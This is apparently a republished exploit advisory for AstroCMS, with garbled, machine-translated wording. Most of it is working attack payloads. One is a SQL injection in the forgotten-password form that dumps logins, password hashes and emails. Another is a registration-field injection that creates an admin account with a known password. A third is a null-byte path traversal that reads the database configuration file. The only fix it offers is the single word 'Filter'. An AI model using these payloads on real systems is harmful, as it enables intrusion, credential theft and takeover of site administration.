AstroCMS Multiple Remote defects and repair

Title: AstroCMS Multiple Remote Vulnerabilities

Author: brain [pillow]
: Http://www.astrocms.com/
Injection with forgotten password:

/Registration/forgot/

A' union select, concat_ws (0x3a, login, password, email, status, level), 0 from auth_users where id = 5 #

Id = 6-usually admin

========================================================== ================================

User registry:

========================================================== ================================

/Registration/

Adrnin ', '4297f44b13955235245b2497399d7a93', 'adrnin', 'okk @ mail.com ,'','','')#

Www.2cto.com Submitting this to "login field" will add "adrnin" user with admin rights and password "123123 ".

Usually 5-is admin group.

========================================================== ================================

Content Page:

========================================================== ================================

/Include/get_js.php4? Fname = ../htdocs/include/config_mysql.inc % 00.js

Or:

/Include/get_js.php? Fname = ../htdocs/include/config_mysql.inc % 00.js

Fix: Filter